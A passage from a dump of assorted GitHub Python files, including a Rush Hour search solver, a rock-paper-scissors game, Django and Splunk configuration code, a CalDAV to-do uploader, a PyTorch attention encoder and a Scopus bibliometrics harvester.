BoardReader\nfrom utils.OutputGeneration import OutputGeneration\nfrom utils.SearchAlgorithms import GBFS, A, UniformCostSearch\n\n\ndef main():\n # get absolute path of input_file\n input_file = Path(path.abspath(__file__)).parent / \"input.txt\"\n \n analysisoutput = AnalysisOutput(\"analysis.csv\")\n\n board_reader = BoardReader(input_file)\n\n boardslist = board_reader.boards\n carslist = board_reader.cars_board\n\n\n\n heuristics_list = [1,2,3,4]\n # default value for lambda_val. Can modify for h3\n lambda_val = 2\n # 0.5 is the default value, but you can change it to see how it affects the results. Basically weight of h1 and h2 in the h4 heuristic\n h4_weight_factor = 0.6 \n\n\n\n print(\"~~~Running all search algorithms. *NOTE: Only the output for UCS is shown in the console for illustrative purposes.~~~\")\n # for each board in the input file\n for i in range(len(boardslist)):\n board_reader.print_board(i)\n board_reader.print_cars_dict(i)\n ucs = UniformCostSearch(boardslist[i], carslist[i], board_reader.exit)\n win_node = ucs.search()\n if win_node is not None:\n print(f\"Win Node: {win_node}\")\n print(f\"Total cost: {ucs.goal.cost}\")\n print(f\"Solution (path): {ucs.solution_path}\")\n else:\n print(\"No solution found.\")\n\n print(f\"Execution time: {ucs.get_exec_time()}\")\n print(f\"Length of the search path: {ucs.search_path_length}\")\n \n # Output Files Generation for UC Search\n output_generator = OutputGeneration(ucs, board_reader, i, True)\n output_generator.search_files()\n output_generator.solution_files()\n\n # Analysis Output for UC Search\n if win_node is not None:\n analysisoutput.add_row(i+1, \"UCS\", \"N/A\", ucs.goal.cost, ucs.search_path_length, ucs.get_exec_time())\n else:\n analysisoutput.add_row(i+1, \"UCS\", \"N/A\", \"No Solution\", ucs.search_path_length, ucs.get_exec_time())\n\n \n # Search Algorithm GBFS using Heuristics\n for heuristic in heuristics_list:\n gbfs = GBFS(boardslist[i], carslist[i], board_reader.exit, heuristic, lambda_value=lambda_val, weighted_avg_factor=h4_weight_factor)\n win_node = gbfs.search()\n output_generator = OutputGeneration(gbfs, board_reader, i, True)\n output_generator.search_files()\n output_generator.solution_files()\n\n # Analysis Output for GBFS\n if win_node is not None:\n analysisoutput.add_row(i+1, \"GBFS\", f\"h{heuristic}\", gbfs.goal.cost, gbfs.search_path_length, gbfs.get_exec_time())\n else:\n analysisoutput.add_row(i+1, \"GBFS\", f\"h{heuristic}\", \"No Solution\", gbfs.search_path_length, gbfs.get_exec_time())\n\n # Search Algorithm A/A* using Heuristics\n for heuristic in heuristics_list:\n a = A(boardslist[i], carslist[i], board_reader.exit, heuristic, lambda_value=lambda_val, weighted_avg_factor=h4_weight_factor)\n win_node = a.search()\n output_generator = OutputGeneration(a, board_reader, i, True)\n output_generator.search_files()\n output_generator.solution_files()\n\n # Analysis Output for A*\n if win_node is not None:\n analysisoutput.add_row(i+1, \"A/A*\", f\"h{heuristic}\", a.goal.cost, a.search_path_length, a.get_exec_time())\n else:\n analysisoutput.add_row(i+1, \"A/A*\", f\"h{heuristic}\", \"No Solution\", a.search_path_length, a.get_exec_time())\n\n# main\nif __name__ == \"__main__\":\n main()\n","repo_name":"btakli/COMP-472-Mini-Project-2","sub_path":"src/RushHour.py","file_name":"RushHour.py","file_ext":"py","file_size_in_byte":3738,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"3747590973","text":"print (\"***** juego de piedra , papel y tijeras ***** \".center(50))\n\nprint (\"***** en 5 turnos veremos quien optiene mas puntos *****\".center(50))\n\nprint()\nimport random\nimport time\nuser_1=[]\nuser_2=[]\ntotal_1=0\ntotal_2=0\nmoneda=[\"cara\", \"cruz\"]\nbandera=True\ntijera=1\npiedra=2\npapel=3\n\nwhile bandera:\n while True:\n comp=random.choice(moneda)\n print(\"ahora veremos quien empieza \")\n user=input(\"escoge cara o cruz \")\n if user == comp:\n print(\"has acertado empiezas tu\")\n break\n elif user != comp:\n print(\"la computadora ha sacado \", comp ,\"y tu \", user)\n print(\"turno del otro jugador \")\n break\n else:\n print(\"pusiste algo equivocado, (q) para volver a intentar \")\n intentar=\"\"\n if intentar==\"q\":\n bandera=False\n \n print()\n time.sleep(2.2)\n print(\"***** hora de juego *****\".center(50)) \n \n \n for i in range(6 -1):\n comp=random.randint(1,3)\n user=int(input(\"escribe 1 para tijera, 2 para piedra o 3 para papel \"))\n if user == comp:\n print(\"has empatado\")\n user_1.append(0)\n else:\n if user == 1 and comp == 2:\n print(\"has sacado tijera y la maquina ha sacado piedra, has perdido \")\n user_1.append(0)\n elif user==1 and comp == 3:\n print(\"has sacado tijera y la maquina ha sacado papel ,has ganado \") \n user_1.append(1) \n elif user==2 and comp == 1:\n print(\"has sacado piedra y la maquina ha sacado tijera , has ganado \") \n user_1.append(1) \n elif user==2 and comp == 3:\n print(\"has sacado piedra y la maquina ha sacado papel , has perdido \") \n user_1.append(0) \n elif user==3 and comp == 1:\n print(\"has sacado papel y la maquina ha sacado tijera , has perdido \") \n user_1.append(0) \n elif user==3 and comp == 2:\n print(\"has sacado papel y la maquina ha sacado piedra , has ganado \") \n user_1.append(1) \n \n for i in user_1:\n total_1+=i\n print(\"has terminado tu turno \" , user_1 , \"has terminado con un total de \" ,total_1, \"puntos\")\n time.sleep(2.5)\n \n print()\n print(\"turno del otro jugador \")\n\n print()\n for i in range(6 -1):\n user=int(input(\"escribe 1 para tijera, 2 para piedra o 3 para papel \"))\n\n if user == comp:\n print(\"has empatado\")\n user_2.append(0)\n \n else:\n if user == 1 and comp == 2:\n print(\" has sacado tijera y la maquina piedra , has perdido \")\n user_2.append(0)\n elif user==1 and comp == 3:\n print(\"has sacado tijera y la maquina ha sacado papel , has ganado \") \n user_2.append(1) \n elif user==2 and comp == 1:\n print(\"has sacado piedra y la maquina tijera ,has ganado \") \n user_2.append(1) \n elif user==2 and comp == 3:\n print(\"has sacado piedra y la maquina ha sacado papel , has perdido \") \n user_2.append(0) \n elif user==3 and comp == 1:\n print(\"has sacado papel y la maquina ha sacado tijera ,has perdido \") \n user_2.append(0) \n elif user==3 and comp == 2:\n print(\"has sacado papel y la maquina ha sacado piedra ,has ganado \") \n user_2.append(1) \n \n for i in user_2:\n total_2+=i\n print(\"has terminado tu turno \" , user_2 , \"has terminado con un total de \" ,total_2, \"puntos\") \n bandera=False\n print()\n print(\" el primer jugador {} {} puntos \".format(user_1 , total_1))\n print()\n print(\" el segundo jugador {} {} puntos \".format(user_2 , total_2))\n if total_1==total_2:\n print(\"han empatado\")\n elif total_1 > total_2:\n print(\"ha ganado el primer jugador \") \n else:\n print(\"ha ganado el segundo jugador \") \nprint(\"juego terminado \") \n","repo_name":"jordanRG233/python.py","sub_path":"juego p,p,t.py","file_name":"juego p,p,t.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29395745798","text":"# -*- coding: utf-8 -*-\n\nfrom api.api import API\nfrom pages.ios.common.superPage import SuperPage\nfrom pages.ios.ffan.settings_page_configs import SettingsPageConfigs\nfrom pages.logger import logger\n\n\nclass SettingsPage(SuperPage):\n '''\n 作者 宋波\n 首页=>我的飞凡=>设置\n '''\n\n def __init__(self, testcase, driver, logger):\n super(SettingsPage, self).__init__(testcase=testcase, driver=driver, logger=logger);\n\n def validSelf(self):\n logger.info(\"Check 我的设置 begin\")\n API().assertElementByName(self.testcase, self.driver, self.logger,\n SettingsPageConfigs.name_title_st,\n SettingsPageConfigs.assert_view_timeout)\n logger.info(\"Check 我的设置 end\")\n API().screenShot(self.driver, \"setting\")\n\n def clickOnQuitAccountBtn(self, confirmQuit=True):\n logger.info(\"Click 退出登录 begin\")\n API().clickElementByName(self.testcase, self.driver, self.logger,\n SettingsPageConfigs.name_exit_from_current_account_st,\n SettingsPageConfigs.click_on_button_timeout)\n if confirmQuit:\n API().clickElementByName(self.testcase, self.driver, self.logger,\n SettingsPageConfigs.name_confirm_bt,\n SettingsPageConfigs.click_on_button_timeout)\n else:\n API().clickElementByName(self.testcase, self.driver, self.logger,\n SettingsPageConfigs.name_cancel_bt,\n SettingsPageConfigs.click_on_button_timeout)\n logger.info(\"Click 退出登录 end\")\n\n def clickOnAccountManagement(self):\n '''\n usage: click on the account management button.\n '''\n logger.info(\"Click 账户管理 begin\")\n API().clickElementByName(self.testcase, self.driver, self.logger,\n SettingsPageConfigs.name_account_management_st,\n SettingsPageConfigs.assert_view_timeout)\n logger.info(\"Click 账户管理 end\")\n\n def clickOnPaySettings(self):\n '''\n usage:点击支付设置\n '''\n logger.info(\"Click 支付设置 begin\")\n API().clickElementByName(self.testcase, self.driver, self.logger,\n SettingsPageConfigs.name_pay_settings,\n SettingsPageConfigs.click_on_button_timeout)\n logger.info(\"Click 支付设置 end\")\n\n def clickOnMianmiPaySettings(self):\n '''\n usage: click on the small account password-less payments button.\n '''\n logger.info(\"Click 免密支付 begin\")\n API().clickElementByName(self.testcase, self.driver, self.logger,\n SettingsPageConfigs.name_mianmi_page_settings,\n SettingsPageConfigs.click_on_button_timeout)\n logger.info(\"Click 免密支付 end\")\n\n\nif __name__ == '__main__':\n pass;\n","repo_name":"liu111xiao111/UItest","sub_path":"pages/ios/ffan/settings_page.py","file_name":"settings_page.py","file_ext":"py","file_size_in_byte":3082,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"35652169250","text":"\"\"\"Django pipeline settings.\"\"\"\n\nfrom .base import BOWER_COMPONENTS_ROOT\n\n# ──┤ PIPELINE CONFIGURATION ├────────────────────────────────────────────────┐\nPIPELINE_CSS_COMPRESSOR = 'pipeline.compressors.NoopCompressor'\nPIPELINE_JS_COMPRESSOR = 'pipeline.compressors.NoopCompressor'\n\nPIPELINE_ENABLED = True\n\nPIPELINE_COMPILERS = (\n 'pipeline_compass.compass.CompassCompiler',\n)\n\nPIPELINE_COMPASS_ARGUMENTS = '-I {}'.format(\n str(BOWER_COMPONENTS_ROOT / 'foundation' / 'scss')\n)\n\nPIPELINE_JS = {\n 'app': {\n 'source_filenames': (\n 'js/app.js',\n ),\n 'output_filename': 'js/app.js',\n 'template_name': 'js-tag',\n },\n 'jquery': {\n 'source_filenames': (\n 'bower_components/jquery/dist/jquery.js',\n ),\n 'output_filename': 'js/jquery.js',\n 'template_name': 'js-tag',\n },\n 'foundation': {\n 'source_filenames': (\n 'bower_components/foundation/js/foundation.js',\n ),\n 'output_filename': 'js/foundation.js',\n 'template_name': 'js-tag',\n },\n 'modernizr': {\n 'source_filenames': (\n 'bower_components/modernizr/modernizr.js',\n ),\n 'output_filename': 'js/modernizr.js',\n 'template_name': 'js-tag',\n },\n 'underscore': {\n 'source_filenames': (\n 'bower_components/underscore/underscore.js',\n ),\n 'output_filename': 'js/underscore.js',\n 'template_name': 'js-tag',\n },\n}\n\nPIPELINE_CSS = {\n 'app': {\n 'source_filenames': {\n 'scss/app.scss',\n },\n 'output_filename': 'css/app.css',\n 'template_name': 'css-tag',\n },\n}\n# ────────────────────────────────────────────────────────────────────────────┘\n","repo_name":"Matt-Deacalion/Rasa-Django","sub_path":"website/settings/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"5441849942","text":"import caldav, uuid\nfrom oauth2client import client, tools, file\nfrom requests.auth import AuthBase\nfrom datetime import datetime, timedelta\nimport argparse\n\ndate_format = \"%Y%m%dT%H%M%S\"\ncalendar_name = \"Daily\"\n\ndef get_daily(calendars) :\n for c in calendars:\n if c.name == calendar_name :\n return c\n return none\n\nclass OAuth(AuthBase):\n def __init__(self, credentials):\n self.credentials = credentials\n\n def __call__(self, r):\n self.credentials.apply(r.headers)\n return r\n\ndef dav_authentificate(args):\n client_secrets = args.client_secrets\n flow = client.flow_from_clientsecrets(\n client_secrets, scope=\"\", message=tools.message_if_missing(client_secrets)\n )\n\n storage = file.Storage('calendar_credentials.dat') \n credentials = storage.get()\n\n if credentials is None or credentials.invalid:\n credentials = tools.run_flow(flow, storage, args)\n\n url = args.url\n caldav_client = caldav.DAVClient(url, auth=OAuth(credentials))\n return caldav_client\n\n\ntodo_template = \"\"\"\nBEGIN:VTODO\nDTSTAMP:{DTSTAMP}\nUID:{UID}\nCREATED:{CREATED}\nSEQUENCE:1\nLAST-MODIFIED:{DTSTAMP}\nSUMMARY:{SUMMARY}\nDESCRIPTION:{DESCRIPTION}\nSTATUS:NEEDS-ACTION\nDUE;TZID={TIME_ZONE}:{DUE}\nDTSTART;TZID={TIME_ZONE}:{DTSTART}\nEND:VTODO\n\"\"\"\n\ncalendar_wrapper = \"\"\"\nBEGIN:VCALENDAR\nVERSION:2.0\nPRODID: alexkutsan\n{}\nEND:VCALENDAR\n\"\"\"\n\n\ndef Todo(summary, description, dtstart, due, timezone=\"Europe/Kiev\"):\n dtstart = dtstart.strftime(date_format)\n due = due.strftime(date_format)\n uid = str(uuid.uuid4())\n created = datetime.now().strftime(date_format)\n return todo_template.format(DTSTAMP = created, UID = uid, CREATED = created, DESCRIPTION = description, TIME_ZONE = timezone, DTSTART = dtstart, SUMMARY = summary, DUE = due)\n\n\ndef main(args):\n if (args.client_secrets):\n caldav_client = dav_authentificate(args)\n else:\n caldav_client = caldav.DAVClient(args.url)\n\n principal = caldav_client.principal()\n calendar = get_daily(principal.calendars())\n if None == calendar :\n print(\" Daily calendar not found\")\n print(len(calendar.todos()))\n dtstamp = datetime.strptime(args.datetime, date_format) \n t = Todo(summary = args.summary,\n description = args.description,\n dtstart = dtstamp,\n due = dtstamp + timedelta(hours=1))\n vcal = calendar_wrapper.format(t)\n calendar.add_todo(vcal)\n\nprint(__name__)\nif \"__main__\" == __name__:\n parser = argparse.ArgumentParser()\n parser.add_argument('--logging_level', default='DEBUG')\n parser.add_argument('--client_secrets', required=False, help=\"Path to client secrets\")\n parser.add_argument('--datetime', default=datetime.now().strftime(date_format))\n parser.add_argument('--summary', required=True)\n parser.add_argument('--description', required=True)\n parser.add_argument('--url', required=True)\n parser.add_argument('--noauth_local_webserver', action='store_true',\n default=True, help='Do not run a local web server.')\n args = parser.parse_args()\n main(args)\n","repo_name":"alexkutsan/RnD_fun","sub_path":"Synca/caldav_add_todo/nextcloud_todos.py","file_name":"nextcloud_todos.py","file_ext":"py","file_size_in_byte":3089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"45420059591","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\nimport os\nimport sys\nimport time\n\nfrom splunklib.searchcommands import dispatch, StreamingCommand, Configuration, Option, validators\n\nfrom splunklib import six\n\n@Configuration()\nclass SleepCommand(StreamingCommand):\n time = Option(\n doc='''\n **Syntax:** **dnstimeout=****\n **Description:** time to sleep in seconds''',\n require=True, validate=validators.Integer())\n \n\n def stream(self, records):\n \n self.logging_level = \"INFO\"\n sleeptime = self.time \n # if dnsserver is not set use default form configfile one\n if self.time is None:\n sleeptime = 1\n\n time.sleep(sleeptime)\n\n for record in records:\n \n yield record\n\n\n\ndispatch(SleepCommand, sys.argv, sys.stdin, sys.stdout, __name__)\n","repo_name":"schose/TA-dosleep","sub_path":"bin/dosleep.py","file_name":"dosleep.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"17867441317","text":"import torch\nimport torch.nn as nn\nimport numpy as np\nimport torch.nn.functional as F\n\n\ndef _get_sinusoid_encoding_table(n_position, d_hid):\n \"\"\"\n Sinusoid position encoding table\n \"\"\"\n\n def get_position_angle_vec(position):\n return [position / np.power(10000, 2 * (hid_j // 2) / d_hid) for hid_j in range(d_hid)]\n\n sinusoid_table = np.array([get_position_angle_vec(pos_i) for pos_i in range(n_position)])\n sinusoid_table[:, 0::2] = np.sin(sinusoid_table[:, 0::2]) # dim 2i\n sinusoid_table[:, 1::2] = np.cos(sinusoid_table[:, 1::2]) # dim 2i+1\n\n return torch.Tensor(sinusoid_table).unsqueeze(0)\n\n\nclass PositionalEmbedding(nn.Module):\n def __init__(self, d_model, max_len=512):\n super().__init__() \n # Compute the positional encodings once in log space.\n pe = torch.zeros(max_len, d_model)\n position = torch.arange(0, max_len).unsqueeze(1).float()\n div_term = torch.exp(torch.arange(0, d_model, 2).float() *\n -(math.log(10000.0) / d_model))\n pe[:, 0::2] = torch.sin(position * div_term)\n pe[:, 1::2] = torch.cos(position * div_term)\n pe = pe.unsqueeze(0)\n self.weight = nn.Parameter(pe, requires_grad=False)\n \n def forward(self, x):\n return x + self.weight[:, :x.size(1), :]\n\n\nclass AttEncoder(nn.Module):\n \"\"\"\n A encoder model with self attention mechanism.\n \"\"\"\n def __init__(self, config):\n super(AttEncoder, self).__init__()\n self.position_enc = PositionalEmbedding(config.att_d_input, max_len=config.max_len)\n self.dropout = nn.Dropout(p=config.att_drop_prob)\n self.layer_stack = nn.ModuleList([\n EncoderBlock(config.att_d_input, config.att_d_inner, config.att_d_ff, config.att_n_head, dropout=config.att_drop_prob)\n for _ in range(config.att_n_blocks)])\n self.layer_norm = nn.LayerNorm(config.att_d_model, eps=1e-6)\n\n def forward(self, src_seq):\n enc_output += self.position_enc(src_seq)\n enc_output = self.dropout(enc_output)\n\n for enc_layer in self.layer_stack:\n enc_output = enc_layer(enc_output)\n\n enc_output = self.layer_norm(enc_output)\n\n return enc_output\n\n\nclass EncoderBlock(nn.Module):\n def __init__(self, d_model, d_inner, d_ff, n_head, dropout=0.1):\n super().__init__()\n self.attn_head = MultiHeadAttention(d_model, d_inner, n_head, dropout)\n self.layer_norm1 = nn.LayerNorm(d_model)\n self.dropout = nn.Dropout(dropout)\n self.position_wise_feed_forward = nn.Sequential(\n nn.Linear(d_model, d_ff),\n nn.ReLU(),\n nn.Linear(d_ff, d_model),\n )\n self.layer_norm2 = nn.LayerNorm(d_model)\n \n def forward(self, x):\n att = self.attn_head(x, x, x)\n x = x + self.dropout(self.layer_norm1(att))\n pos = self.position_wise_feed_forward(x)\n x = x + self.dropout(self.layer_norm2(pos))\n return x\n\n\nclass MultiHeadAttention(nn.Module):\n \"\"\"The full multihead attention block\"\"\"\n def __init__(self, d_model, d_inner, n_head, dropout=0.1):\n super().__init__()\n self.d_model = d_model\n self.d_inner = d_inner\n self.n_head = n_head\n \n self.attn_head = nn.ModuleList([\n AttentionHead(d_model, d_inner, dropout) for _ in range(n_head)\n ])\n self.projection = nn.Linear(d_inner * n_head, d_model) \n \n def forward(self, queries, keys, values):\n x = [attn(queries, keys, values) # (Batch, Seq, Feature)\n for i, attn in enumerate(self.attn_head)]\n \n x = torch.cat(x, 2) # (Batch, Seq, d_inner * n_head)\n x = self.projection(x) # (Batch, Seq, D_Model)\n return x\n\n\nclass AttentionHead(nn.Module):\n \"\"\"A single attention head\"\"\"\n def __init__(self, d_model, d_inner, dropout=0.1):\n super().__init__()\n # We will assume the queries, keys, and values all have the same feature size\n self.attn = ScaledDotProductAttention(dropout)\n self.query_tfm = nn.Linear(d_model, d_inner)\n self.key_tfm = nn.Linear(d_model, d_inner)\n self.value_tfm = nn.Linear(d_model, d_inner)\n \n def forward(self, queries, keys, values):\n Q = self.query_tfm(queries) # (Batch, Seq, Feature)\n K = self.key_tfm(keys) # (Batch, Seq, Feature)\n V = self.value_tfm(values) # (Batch, Seq, Feature)\n x = self.attn(Q, K, V)\n return x\n\nclass ScaledDotProductAttention(nn.Module):\n \"\"\"\n Scaled Dot-Product Attention\n \"\"\"\n\n def __init__(self, dropout=0.1):\n super().__init__()\n self.dropout = nn.Dropout(dropout)\n \n def forward(self, q, k, v):\n d_k = k.size(-1) # get the size of the key \n attn = F.softmax(torch.bmm(q / d_k**0.5, k.transpose(1, 2)), dim = 2)\n attn = self.dropout(attn)\n output = torch.bmm(attn, v) \n return output\n","repo_name":"Nobody0321/MyCodes","sub_path":"BS/networks/attention.py","file_name":"attention.py","file_ext":"py","file_size_in_byte":4949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24470565558","text":"import cv2 as cv\nimport numpy as np\n\ndef template_demo():\n tpl = cv.imread('img\\\\yao.png')\n target = cv.imread('img\\\\nba.jpg')\n cv.imshow(\"target\",target)\n #使用三种匹配方式,标准方差、标准相关、标准相关系数匹配\n medthods = [cv.TM_SQDIFF_NORMED,cv.TM_CCORR_NORMED,cv.TM_CCOEFF_NORMED]\n #模板的宽高\n th,tw = tpl.shape[:2]\n for md in medthods:\n result = cv.matchTemplate(target,tpl,md)\n min_val,max_val,min_loc,max_loc = cv.minMaxLoc(result)\n print(cv.minMaxLoc(result))\n # 如果方法是TM_SQDIFF或TM_SQDIFF_NORMED,则取最小值\n if md==cv.TM_SQDIFF_NORMED:\n tl = min_loc\n else:\n tl = max_loc\n br = (tl[0]+tw,tl[1]+th)\n cv.rectangle(target,tl,br,(0,255,0),2)\n cv.imshow(\"match-\"+np.str(md),target)\n cv.imshow(\"match-\"+np.str(md),result)\n\n\ntemplate_demo()\ncv.waitKey(0)\ncv.destroyAllWindows()","repo_name":"R-Levi/opencv_learning","sub_path":"course7模板匹配.py","file_name":"course7模板匹配.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"24538410045","text":"import math\nimport numpy as np\nimport sys\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\nimport DemoUi\n\n\ndef add_func(x, y):\n\n app = QApplication(sys.argv)\n myMainWindow = QMainWindow()\n myUi = DemoUi.Ui_MainWindow()\n myUi.setupUi(myMainWindow)\n myMainWindow.show()\n app.exec_()\n #sys.exit(app.exec_())\n\n a = math.sqrt(9)\n data = [[1, 2], [3, 4], [5, 6]]\n b = np.array(data)\n return x + y+2\n\n\nif __name__ == '__main__':\n add_func(1,2)","repo_name":"MethodJiao/PythonCaller","sub_path":"x64/Debug/ExternalPythonTool.py","file_name":"ExternalPythonTool.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"54"} +{"seq_id":"32077417495","text":"\n# Goal: run the baseline code for open access dashboard 2019 data, including recent patches\n#\n# do not multi-thread this as we want to be MINIMALLY-INVASIVE\n# why? because we want to use the verified and tested baseline code\n# the recent patches are only included to cope with API serverside changes like Scival delimiters\n\n# imports\nimport pandas as pd\nimport numpy as np\nfrom pybliometrics.scopus import ScopusSearch\nimport nltk\n###nltk.download('punkt')\n\n# imports from our own import framework \nimport sys\n###sys.path.insert(0, 'C:/Users/yasing/Desktop/git/simple-python-bibliometrics') # not needed in pycharm\nfrom nlp_functions import faculty_finder\nfrom nlp_functions import get_dist\nfrom nlp_functions import corresponding_author_functions\n#\nfrom core_functions import add_year_and_month\nfrom core_functions import get_scopus_abstract_info\nfrom core_functions import get_first_chosen_affiliation_author # ! i want all vu authors now : )\nfrom core_functions import add_unpaywall_columns\nfrom core_functions import my_timestamp\nfrom core_functions import add_deal_info\n### this needs to be replaced with the luigi-scopus-arm as that works 100x better, but first this...\n# !\n\n\ndef get_scopus_arm(MY_YEARSET,\n start_path_with_slash,\n xpure_pack,\n df_in=None, # there is no df_in (!))\n do_save=False): \n \"\"\"\n get_scopus_arm is a refactor of the legacy scopus code from jupyter\n careful: we also have a luigi-variant of this!\n so you should use the luigi variant whenever possible\n I made this here because I needed an exact copy for a quick sprint\n \n so what does it do?\n it harvests scopus and then enriches it with unpaywall, deals, etc\n it also renames columns and deletes columns\n \n \n \n \n Use the assumption that MY_YEARSET is always 3 years\n Once we get this in Luigi it will work better than arbitrary length sets\n because this is an ATOMIC split of work and works well concurrently\n luigi will always skip parts if they already exist\n you do have to put it well in luigi: this function will be 2 pipe-types\n type-1 will do 1 year only\n type-2 will combine 3 years only\n and that is all you need because the entire pure arm is for 1 chosen year\n but can be easily extended to do multiple chosen years efficiently\n\n \n \n \"\"\"\n \n xpure_pack # is not used right now, but OK\n \n dict_output = {}\n\n for MY_YEAR in MY_YEARSET:\n\n print(MY_YEAR)\n # settings\n\n # testing\n override_query_for_testing = False\n running_on_server = False\n\n # paths\n if running_on_server:\n path_deals = 'C:/Users/yasing/Desktop/oa oktober/apcdeals.csv' #check\n path_isn = 'C:/Users/yasing/Desktop/oa oktober/ISN_ISSN.csv' #check\n path_org = 'C:/Users/yasing/Desktop/oa oktober/vu_organogram_2.xlsx' #check\n path_out = start_path_with_slash #'C:/Users/yasing/Desktop/oa oktober/' #check\n path_vsnu_afids = 'C:/Users/yasing/Desktop/oa oktober/afids_vsnu_nonfin.csv' #check\n else:\n path_deals = r'G:\\UBVU\\Data_RI\\raw data algemeen\\apcdeals.csv'\n path_isn = r'G:\\UBVU\\Data_RI\\raw data algemeen\\ISN_ISSN.csv'\n path_org = r'G:\\UBVU\\Data_RI\\raw data algemeen\\vu_organogram_2.xlsx'\n path_out = start_path_with_slash #'C:/Users/yasin/Desktop/oa new csv/' # no r\n path_vsnu_afids = r'G:\\UBVU\\Data_RI\\raw data algemeen\\afids_vsnu_nonfin.csv'\n\n # scopus search and affiliation\n #\n # ! VUMC HAS BEEN ADDED !\n #\n chosen_affid = [\"60008734\",\"60029124\",\"60012443\",\"60109852\",\"60026698\",\"60013779\",\"60032886\",\"60000614\",\n \"60030550\",\"60013243\",\"60026220\",\"60001997\"] # I added 60001997 and thus I added VUMC\n #VU_noMC_affid = \"(AF-ID(60008734) OR AF-ID(60029124) OR AF-ID(60012443) OR AF-ID(60109852) OR AF-ID(60026698) OR AF-ID(60013779) OR AF-ID(60032886) OR AF-ID(60000614) OR AF-ID(60030550) OR AF-ID(60013243) OR AF-ID(60026220))\"\n VU_with_VUMC_affid = \"( AF-ID(60001997) OR AF-ID(60008734) OR AF-ID(60029124) OR AF-ID(60012443) OR AF-ID(60109852) OR AF-ID(60026698) OR AF-ID(60013779) OR AF-ID(60032886) OR AF-ID(60000614) OR AF-ID(60030550) OR AF-ID(60013243) OR AF-ID(60026220))\"\n my_query = VU_with_VUMC_affid + ' AND ' + \"( PUBYEAR = \" + str(MY_YEAR) +\" )\" ### \"PUBDATETXT(February 2018)\"\n\n # TITLE(TENSOR) AND\n\n # corresponding author\n vu_afids = chosen_affid\n # this is vsnu w/o phtu and such (borrowed from VSNU-SDG-data), but should approach the UKB list... good for now. update later.\n all_vsnu_sdg_afids = pd.read_csv(path_vsnu_afids).iloc[:, 1].astype('str').to_list()\n\n # testing\n if override_query_for_testing:\n my_query = 'TITLE(TENSOR LPV)'\n print('overriding query for testing')\n\n\n # ETLMIG MIGRATION DONE\n\n\n # helper functions\n # ! CAREFUL! COPIED CODE\n def fn_cats(row):\n if row == 'closed':\n result = 1\n elif row == 'hybrid':\n result = 2\n elif row == 'bronze':\n result = 3\n elif row == 'green':\n result = 4\n elif row == 'gold':\n result = 5\n else:\n result = 0 # nans etc\n return result\n\n # entire pipeline\n\n # Perform ScopusSearch\n s = ScopusSearch(my_query, refresh=True) #(VU_aff + \" AND \" + recent, refresh=True)\n df = pd.DataFrame(s.results)\n\n # Remove unnecessary columns\n fav_fields = ['eid', 'creator', 'doi', 'title', 'afid',\n 'affilname', 'author_count', 'author_names', 'author_afids',\n 'coverDate', 'coverDisplayDate', 'publicationName', 'issn', 'source_id', 'eIssn',\n 'citedby_count', 'fund_sponsor', 'aggregationType', 'openaccess']\n df = df[fav_fields] # cut fields\n\n # Add info on year and month\n df = add_year_and_month(df, 'coverDate') # add info columns\n\n # prepare the faculty_finder NLP tool\n org_info = pd.read_excel(path_org, skiprows=0)\n ff = faculty_finder(organizational_chart=org_info)\n\n # Per EID, get scopus abstract info, get first vu author and use NLP to find faculty\n # initialize\n df_ab = pd.DataFrame()\n df_au = pd.DataFrame()\n df_ff = pd.DataFrame()\n for counter, cur_eid in enumerate(df.eid.tolist()):\n\n print('getting abstract info for ' + str(counter+1) + ' out of ' + str(len(df.eid.tolist())))\n\n # get abstract\n dict_ab_info = get_scopus_abstract_info(cur_eid) # !\n dict_ab_info['eid'] = cur_eid\n\n # get first chosen affiliation author\n dict_auth_info = get_first_chosen_affiliation_author(dict_ab_info['abstract_object'], chosen_affid)\n dict_auth_info['eid'] = cur_eid\n\n # get faculty\n if dict_auth_info['first_affil_author_has_error'] == True:\n print('no chosen affid author found at EID:' + str(cur_eid))\n dict_ff = ff.match_nan()\n else:\n # get faculty\n dict_ff = ff.match(dict_auth_info['first_affil_author_org'])\n dict_ff['eid'] = cur_eid\n\n df_ab = df_ab.append(dict_ab_info, ignore_index=True)\n df_au = df_au.append(dict_auth_info, ignore_index=True)\n df_ff = df_ff.append(dict_ff, ignore_index=True)\n\n df = df.merge(df_ab,on='eid',how='left')\n df = df.merge(df_au,on='eid',how='left')\n df = df.merge(df_ff,on='eid',how='left')\n\n print('df_ab,au,ff done')\n #df.to_csv(r'C:\\Users\\yasing\\Desktop\\oa oktober\\oa' + my_timestamp() + '.csv')\n # df.to_pickle(path_out + 'oa_base_' + my_timestamp() + str(MY_YEAR) + '.pkl')\n\n # add unpaywall info\n df = add_unpaywall_columns(df, silent=False) # !\n\n # add deal info\n df = add_deal_info(path_deals=path_deals, path_isn=path_isn, df_b=df)\n\n # add corresponding author info\n df = (corresponding_author_functions()\n .add_corresponding_author_info(df=df,\n vu_afids=vu_afids,\n ukb_afids=all_vsnu_sdg_afids))\n\n # post-process\n df['upw_oa_color_category'] = df.upw_oa_color.apply(fn_cats)\n df['upw_oa_color_verbose'] = df['upw_oa_color'].apply(lambda x: 'unknown' if x is np.nan else x)\n\n # save it\n # save to pickle with abstract_object, for now\n # df.to_pickle(path_out + 'oa' + my_timestamp() + str(MY_YEAR) + '.pkl')\n # save to csv without abstract_object0\n if do_save:\n 